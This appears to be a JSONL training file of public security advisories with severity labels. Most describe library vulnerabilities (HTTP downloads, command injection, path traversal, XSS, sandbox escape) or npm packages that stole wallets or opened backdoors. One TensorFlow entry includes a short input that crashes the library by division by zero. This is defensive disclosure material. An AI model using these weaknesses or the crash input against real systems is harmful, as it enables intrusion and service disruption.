-{"id": "ace91a0442c85a050745", "text": "Downloads Resources over HTTP in google-closure-tools-latest\n\nAffected versions of `google-closure-tools-latest` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `google-closure-tools-latest`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, and instead install the [closure compiler](https://github.com/google/closure-compiler) manually.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in google-closure-tools-latest\n\n[Severity: HIGH]\n\nAffected versions of `google-closure-tools-latest` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `google-closure-tools-latest`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, and instead install the [closure compiler](https://github.com/google/closure-compiler) manually.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7f400670fa0963c7781b", "text": "Command Injection in treekill\n\nAll versions of `treekill` are vulnerable to Command Injection. The package fails to sanitize values passed to the  `kill` function. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in treekill\n\n[Severity: HIGH]\n\nAll versions of `treekill` are vulnerable to Command Injection. The package fails to sanitize values passed to the  `kill` function. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "4663429dbc61d5926170", "text": "Malicious Package in bip30\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bip30\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "35456dba836309424017", "text": "Cookie persistence after password changes in symfony/security-bundle\n\nDescription\n-----------\n\nSince the rework of the Remember me cookie in Symfony 5.3, the cookie is not invalidated anymore when the user changes its password.\n\nAttackers can therefore maintain their access to the account even if the password is changed as long as they have had the chance to login once and get a valid remember me cookie.\n\nResolution\n----------\n\nSymfony now makes the password part of the signature by default. In that way, when the password changes then the cookie is not valid anymore.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/36a808b857cd3240244f4b224452fb1e70dc6dfc) for branch 5.3.\n\nCredits\n-------\n\nWe would like to thank Thibaut Decherit for reporting the issue and Wouter J for fixing the issue.", "text_raw": "Cookie persistence after password changes in symfony/security-bundle\n\n[Severity: MEDIUM]\n\nDescription\n-----------\n\nSince the rework of the Remember me cookie in Symfony 5.3, the cookie is not invalidated anymore when the user changes its password. \n\nAttackers can therefore maintain their access to the account even if the password is changed as long as they have had the chance to login once and get a valid remember me cookie.\n\nResolution\n----------\n\nSymfony now makes the password part of the signature by default. In that way, when the password changes then the cookie is not valid anymore.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/36a808b857cd3240244f4b224452fb1e70dc6dfc) for branch 5.3.\n\nCredits\n-------\n\nWe would like to thank Thibaut Decherit for reporting the issue and Wouter J for fixing the issue.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "5dbb0499864410eb45cc", "text": "Downloads Resources over HTTP in pk-app-wonderbox\n\nAffected versions of `pk-app-wonderbox` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `pk-app-wonderbox`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in pk-app-wonderbox\n\n[Severity: HIGH]\n\nAffected versions of `pk-app-wonderbox` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `pk-app-wonderbox`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "eea32986dde4c7c97adb", "text": "Server-Side Request Forgery in @uppy/companion\n\nVersions of `@uppy/companion` prior to 1.9.3 are vulnerable to Server-Side Request Forgery (SSRF). The `get` route passes the user-controlled variable `req.body.url` to a GET request without sanitizing the value. This allows attackers to inject arbitrary URLs and make GET requests on behalf of the server.\n\n## Recommendation\n\nUpgrade to version 1.9.3 or later.", "text_raw": "Server-Side Request Forgery in @uppy/companion\n\n[Severity: HIGH]\n\nVersions of `@uppy/companion` prior to 1.9.3 are vulnerable to Server-Side Request Forgery (SSRF). The `get` route passes the user-controlled variable `req.body.url` to a GET request without sanitizing the value. This allows attackers to inject arbitrary URLs and make GET requests on behalf of the server. \n\n\n## Recommendation\n\nUpgrade to version 1.9.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "704c258e5dc8a9e4531c", "text": "Regular Expression Denial of Service in string package\n\nAffected versions of `string` are vulnerable to regular expression denial of service when specifically crafted untrusted user input is passed into the `underscore` or `unescapeHTML` methods.\n\n## Recommendation\n\nThere is currently no direct patch for this vulnerability.\n\nCurrently, the best solution is to avoid passing user input to the `underscore` and `unescapeHTML` methods.\n\nAlternatively, a user provided patch is available in [Pull Request #217]( https://github.com/jprichardson/string.js/pull/217/commits/eab9511e4efbc8c521e18b6cf2e8565ae50c5a16), however this patch has not been tested, nor has it been merged by the package author.", "text_raw": "Regular Expression Denial of Service in string package\n\n[Severity: HIGH]\n\nAffected versions of `string` are vulnerable to regular expression denial of service when specifically crafted untrusted user input is passed into the `underscore` or `unescapeHTML` methods.\n\n\n## Recommendation\n\nThere is currently no direct patch for this vulnerability. \n\nCurrently, the best solution is to avoid passing user input to the `underscore` and `unescapeHTML` methods.\n\nAlternatively, a user provided patch is available in [Pull Request #217]( https://github.com/jprichardson/string.js/pull/217/commits/eab9511e4efbc8c521e18b6cf2e8565ae50c5a16), however this patch has not been tested, nor has it been merged by the package author.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "1b9b2ef6ba9d65797eb2", "text": "Telefonica O2 Connection Manager 3.4 Local Privilege Escalation Vulnerability", "text_raw": "Telefonica O2 Connection Manager 3.4 Local Privilege Escalation Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-10-09", "split": "train"}
-{"id": "fdd591f35386330d9bf0", "text": "Data races in futures-intrusive\n\nGenericMutexGuard<T> was given the Sync auto trait as long as T is Send due to its contained members. However, since the guard is supposed to represent an acquired lock and allows concurrent access to the underlying data from different threads, it should only be Sync when the underlying data is.\n\nThis is a soundness issue and allows data races, potentially leading to crashes and segfaults from safe Rust code.\n\nThe flaw was corrected by adding a T: Send + Sync bound for GenericMutexGuard's Sync trait.", "text_raw": "Data races in futures-intrusive\n\n[Severity: MEDIUM]\n\nGenericMutexGuard<T> was given the Sync auto trait as long as T is Send due to its contained members. However, since the guard is supposed to represent an acquired lock and allows concurrent access to the underlying data from different threads, it should only be Sync when the underlying data is.\n\nThis is a soundness issue and allows data races, potentially leading to crashes and segfaults from safe Rust code.\n\nThe flaw was corrected by adding a T: Send + Sync bound for GenericMutexGuard's Sync trait.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1bc3b92c5d49edfe7168", "text": "In Spark before 2.7.2, a remote attacker can read unintended static files via various representations of absolute or relative pathnames, as demonstrated by file: URLs and directory traversal sequences. NOTE: this product is unrelated to Ignite Realtime Spark.", "text_raw": "Moderate severity vulnerability that affects com.sparkjava:spark-core\n\n[Severity: MEDIUM]\n\nIn Spark before 2.7.2, a remote attacker can read unintended static files via various representations of absolute or relative pathnames, as demonstrated by file: URLs and directory traversal sequences. NOTE: this product is unrelated to Ignite Realtime Spark.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "2099156d195f7ac42ebf", "text": "Null pointer deference in fltk\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is a NULL pointer dereference during attempted use of a multi label type if the image is nonexistent.", "text_raw": "Null pointer deference in fltk\n\n[Severity: HIGH]\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is a NULL pointer dereference during attempted use of a multi label type if the image is nonexistent.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1c9d0c8ba1bc76bed04c", "text": "Path Traversal in serve-here.js\n\nVersions of serve-here.js prior to 1.2.0 are vulnerable to path traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.", "text_raw": "Path Traversal in serve-here.js\n\n[Severity: MEDIUM]\n\nVersions of serve-here.js prior to 1.2.0 are vulnerable to path traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "1564e1039ce55a9e4e79", "text": "lxml's HTML Cleaner allows crafted and SVG embedded scripts to pass through\n\n### Impact\nThe HTML Cleaner in lxml.html lets certain crafted script content pass through, as well as script content in SVG files embedded using data URIs.\n\nUsers that employ the HTML cleaner in a security relevant context should upgrade to lxml 4.6.5.\n\n### Patches\nThe issue has been resolved in lxml 4.6.5.\n\n### Workarounds\nNone.\n\n### References\nThe issues are tracked under the report IDs GHSL-2021-1037 and GHSL-2021-1038.", "text_raw": "lxml's HTML Cleaner allows crafted and SVG embedded scripts to pass through\n\n[Severity: MEDIUM]\n\n### Impact\nThe HTML Cleaner in lxml.html lets certain crafted script content pass through, as well as script content in SVG files embedded using data URIs.\n\nUsers that employ the HTML cleaner in a security relevant context should upgrade to lxml 4.6.5.\n\n### Patches\nThe issue has been resolved in lxml 4.6.5.\n\n### Workarounds\nNone.\n\n### References\nThe issues are tracked under the report IDs GHSL-2021-1037 and GHSL-2021-1038.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-13", "split": "train"}
-{"id": "8d35c3714e1f2c4f75fb", "text": "FLIR Systems FLIR Brickstream 3D+ Unauthenticated RTSP Stream Disclosure", "text_raw": "FLIR Systems FLIR Brickstream 3D+ Unauthenticated RTSP Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-10-14", "split": "train"}
-{"id": "e9eeb505c2d2d25f8690", "text": "Denial of service in DataCommunicator class in Vaadin 8\n\nMissing check in `DataCommunicator` class in `com.vaadin:vaadin-server` versions 8.0.0 through 8.14.0 (Vaadin 8.0.0 through 8.14.0) allows authenticated network attacker to cause heap exhaustion by requesting too many rows of data.", "text_raw": "Denial of service in DataCommunicator class in Vaadin 8\n\n[Severity: MEDIUM]\n\nMissing check in `DataCommunicator` class in `com.vaadin:vaadin-server` versions 8.0.0 through 8.14.0 (Vaadin 8.0.0 through 8.14.0) allows authenticated network attacker to cause heap exhaustion by requesting too many rows of data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
-{"id": "a918060b46c2fcc65aca", "text": "Cross-Site Scripting in SVG Sanitizer\n\nSlightly invalid or incomplete SVG markup is not correctly processed and thus not sanitized at all. Albeit the markup is not valid it still is evaluated in browsers and leads to cross-site scripting.\n\nAn updated version 1.0.3 is available from the TYPo3 extension manager and at https://extensions.typo3.org/extension/download/svg_sanitizer/1.0.3/zip/\nUsers of the extension are advised to update the extension as soon as possible.", "text_raw": "Cross-Site Scripting in SVG Sanitizer\n\n[Severity: MEDIUM]\n\nSlightly invalid or incomplete SVG markup is not correctly processed and thus not sanitized at all. Albeit the markup is not valid it still is evaluated in browsers and leads to cross-site scripting.\n\nAn updated version 1.0.3 is available from the TYPo3 extension manager and at https://extensions.typo3.org/extension/download/svg_sanitizer/1.0.3/zip/\nUsers of the extension are advised to update the extension as soon as possible.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "ce0280c278ac4fc4c989", "text": "Reflected XSS in SilverStripe\n\nSilverStripe through 4.4.x before 4.4.5 and 4.5.x before 4.5.2 allows Reflected XSS on the login form and custom forms. Silverstripe Forms allow malicious HTML or JavaScript to be inserted through non-scalar FormField attributes, which allows performing XSS (Cross-Site Scripting) on some forms built with user input (Request data). This can lead to phishing attempts to obtain a user&amp;#39;s credentials or other sensitive user input.", "text_raw": "Reflected XSS in SilverStripe\n\n[Severity: MEDIUM]\n\nSilverStripe through 4.4.x before 4.4.5 and 4.5.x before 4.5.2 allows Reflected XSS on the login form and custom forms. Silverstripe Forms allow malicious HTML or JavaScript to be inserted through non-scalar FormField attributes, which allows performing XSS (Cross-Site Scripting) on some forms built with user input (Request data). This can lead to phishing attempts to obtain a user&amp;#39;s credentials or other sensitive user input.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-24", "split": "train"}
-{"id": "3a4c2d7e8a3c6a7a2198", "text": "Improper Synchronization and Race Condition in vm-memory\n\nrust-vmm vm-memory before 0.1.1 and 0.2.x before 0.2.1 allows attackers to cause a denial of service (loss of IP networking) because read_obj and write_obj do not properly access memory. This affects aarch64 (with musl or glibc) and x86_64 (with musl).", "text_raw": "Improper Synchronization and Race Condition in vm-memory\n\n[Severity: HIGH]\n\nrust-vmm vm-memory before 0.1.1 and 0.2.x before 0.2.1 allows attackers to cause a denial of service (loss of IP networking) because read_obj and write_obj do not properly access memory. This affects aarch64 (with musl or glibc) and x86_64 (with musl).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "cb89cc70e08272014915", "text": "Incorrect Permission Assignment for Critical Resource\tin Plone\n\nPlone through 5.2.4 allows remote authenticated managers to perform disk I/O via crafted keyword arguments to the ReStructuredText transform in a Python script.", "text_raw": "Incorrect Permission Assignment for Critical Resource\tin Plone\n\n[Severity: CRITICAL]\n\nPlone through 5.2.4 allows remote authenticated managers to perform disk I/O via crafted keyword arguments to the ReStructuredText transform in a Python script.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "b154be874c5eb6f59f21", "text": "Withdrawn: HTTP Request Smuggling in Agoo\n\n# Withdrawn reason\nWithdrawn on 1/13/2021 due to [this comment from the maintainer](https://github.com/ohler55/agoo/issues/88#issuecomment-723580783).  This is no longer considered a vulnerability.\n\n# Original description\nagoo through 2.12.3 allows request smuggling attacks where agoo is used as a backend and a frontend proxy also being vulnerable. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TE:CL smuggling attacks.", "text_raw": "Withdrawn: HTTP Request Smuggling in Agoo\n\n[Severity: MEDIUM]\n\n# Withdrawn reason\nWithdrawn on 1/13/2021 due to [this comment from the maintainer](https://github.com/ohler55/agoo/issues/88#issuecomment-723580783).  This is no longer considered a vulnerability.\n\n# Original description\nagoo through 2.12.3 allows request smuggling attacks where agoo is used as a backend and a frontend proxy also being vulnerable. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TE:CL smuggling attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-20", "split": "train"}
-{"id": "fce872eeae5bfb67a722", "text": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\nAll versions of `safer-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. It is possible to escape the sandbox by forcing exceptions recursively in the evaluated code. This may allow attacker to execute arbitrary code in the system.\n\n## Recommendation\n\nThe package is not suited to receive arbitrary user input. Consider using an alternative package.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\n[Severity: CRITICAL]\n\nAll versions of `safer-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. It is possible to escape the sandbox by forcing exceptions recursively in the evaluated code. This may allow attacker to execute arbitrary code in the system.\n\n\n## Recommendation\n\nThe package is not suited to receive arbitrary user input. Consider using an alternative package.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5e245c34ccbf0376ff74", "text": "DoS due to excessively large websocket message in ws\n\nAffected versions of `ws` do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.\n\n## Recommendation\n\nUpdate to version 1.1.1 or later. \nAlternatively, set the `maxpayload` option for the `ws` server to a value smaller than 256MB.", "text_raw": "DoS due to excessively large websocket message in ws\n\n[Severity: HIGH]\n\nAffected versions of `ws` do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.\n\n\n\n## Recommendation\n\nUpdate to version 1.1.1 or later. \nAlternatively, set the `maxpayload` option for the `ws` server to a value smaller than 256MB.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "5cf034b78571fd2ad5d5", "text": "Malicious Package in browserift\n\nVersion 16.3.3 of `browserift` contained malicious code as a preinstall script. The package was a backdoor that opened a connection to a remote server and executed incoming commands on both Unix and Windows machines\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in browserift\n\n[Severity: CRITICAL]\n\nVersion 16.3.3 of `browserift` contained malicious code as a preinstall script. The package was a backdoor that opened a connection to a remote server and executed incoming commands on both Unix and Windows machines\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "fdffea181542ad88a43f", "text": "Downloads Resources over HTTP in broccoli-closure\n\nAffected versions of `broccoli-closure` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `broccoli-closure`.\n\n## Recommendation\n\nUpdate to version 1.3.1 or later.", "text_raw": "Downloads Resources over HTTP in broccoli-closure\n\n[Severity: HIGH]\n\nAffected versions of `broccoli-closure` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `broccoli-closure`.\n\n\n## Recommendation\n\nUpdate to version 1.3.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "b26f21422bad7bc85f65", "text": "Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write", "text_raw": "Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-06-04", "split": "train"}
-{"id": "ee387b55120c7442fb62", "text": "Cross-site scripting in @shopify/koa-shopify-auth\n\nA cross-site scripting vulnerability exists in koa-shopify-auth v3.1.61-v3.1.62 that allows an attacker to inject JS payloads into the `shop` parameter on the `/shopify/auth/enable_cookies` endpoint.", "text_raw": "Cross-site scripting in @shopify/koa-shopify-auth\n\n[Severity: MEDIUM]\n\nA cross-site scripting vulnerability exists in koa-shopify-auth v3.1.61-v3.1.62 that allows an attacker to inject JS payloads into the `shop` parameter on the `/shopify/auth/enable_cookies` endpoint.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "2058a29c893713d24f11", "text": "## Generated code uses repository configuration that downloads over HTTP instead of HTTPS\n\n### Impact\nGradle users were using the http://repo.spring.io/plugins-release repositories in plain HTTP, and not HTTPS, so a man-in-the-middle attack was possible at build time.\n\n### Patches\n\nMaven users should at least upgrade to 6.3.0 while Gradle users should update to 6.3.1.\nIf you are not able to upgrade make sure not to use a Maven repository via `http` in your build file.\n\n### Workarounds\n\nReplace all custom repository definitions in `build.gradle` or `pom.xml` with their `https` version.\n\ne.g.\n\n```xml\n <repository>\n            <id>oss.sonatype.org-snapshot</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots</url> // <-- must be httpS\n            <releases>\n                <enabled>false</enabled>\n            </releases>\n            <snapshots>\n                <enabled>true</enabled>\n            </snapshots>\n</repository>\n```\n\n```gradle\nmaven { url \"https://repo.spring.io/plugins-release\" } // <-- must be httpS\n```\n\n### References\n* https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n* https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/jhipster/generator-jhipster/issues](https://github.com/jhipster/generator-jhipster/issues)", "text_raw": "High severity vulnerability that affects generator-jhipster\n\n[Severity: HIGH]\n\n## Generated code uses repository configuration that downloads over HTTP instead of HTTPS\n\n### Impact\nGradle users were using the http://repo.spring.io/plugins-release repositories in plain HTTP, and not HTTPS, so a man-in-the-middle attack was possible at build time.\n\n### Patches\n\nMaven users should at least upgrade to 6.3.0 while Gradle users should update to 6.3.1.\nIf you are not able to upgrade make sure not to use a Maven repository via `http` in your build file.\n\n### Workarounds\n\nReplace all custom repository definitions in `build.gradle` or `pom.xml` with their `https` version.\n\ne.g.\n\n```xml\n <repository>\n            <id>oss.sonatype.org-snapshot</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots</url> // <-- must be httpS\n            <releases>\n                <enabled>false</enabled>\n            </releases>\n            <snapshots>\n                <enabled>true</enabled>\n            </snapshots>\n</repository>\n```\n\n```gradle\nmaven { url \"https://repo.spring.io/plugins-release\" } // <-- must be httpS\n```\n\n### References\n* https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n* https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/jhipster/generator-jhipster/issues](https://github.com/jhipster/generator-jhipster/issues)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "913883764c74b9166e51", "text": "Path Traversal in servey\n\nVersions of `servey` prior to 3.x are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths.\n\n## Recommendation\n\nUpgrade to the latest version", "text_raw": "Path Traversal in servey\n\n[Severity: MEDIUM]\n\nVersions of `servey` prior to 3.x are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. \n\n\n## Recommendation\n\nUpgrade to the latest version", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "75fc1520ae9be33769f7", "text": "Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal", "text_raw": "Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-08-21", "split": "train"}
-{"id": "df9456a79d048f3ca152", "text": "Division by 0 in `MaxPoolGradWithArgmax`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` is vulnerable to a division by 0:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nargmax = tf.constant([], shape=[0], dtype=tf.int64)\nksize = [1, 1, 1, 1]\nstrides = [1, 1, 1, 1]\n\ntf.raw_ops.MaxPoolGradWithArgmax(\n  input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,\n  padding='SAME', include_batch_in_index=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/279bab6efa22752a2827621b7edb56a730233bd8/tensorflow/core/kernels/maxpooling_op.cc#L1033-L1034) fails to validate that the batch dimension of the tensor is non-zero, before dividing by this quantity.\n\n### Patches\nWe have patched the issue in GitHub commit [376c352a37ce5a68b721406dc7e77ac4b6cf483d](https://github.com/tensorflow/tensorflow/commit/376c352a37ce5a68b721406dc7e77ac4b6cf483d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `MaxPoolGradWithArgmax`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` is vulnerable to a division by 0:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nargmax = tf.constant([], shape=[0], dtype=tf.int64)\nksize = [1, 1, 1, 1]\nstrides = [1, 1, 1, 1]\n\ntf.raw_ops.MaxPoolGradWithArgmax(\n  input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,\n  padding='SAME', include_batch_in_index=False)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/279bab6efa22752a2827621b7edb56a730233bd8/tensorflow/core/kernels/maxpooling_op.cc#L1033-L1034) fails to validate that the batch dimension of the tensor is non-zero, before dividing by this quantity.\n\n### Patches\nWe have patched the issue in GitHub commit [376c352a37ce5a68b721406dc7e77ac4b6cf483d](https://github.com/tensorflow/tensorflow/commit/376c352a37ce5a68b721406dc7e77ac4b6cf483d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "ae3746f023d122cca27e", "text": "Femitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC", "text_raw": "Femitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-09-17", "split": "train"}
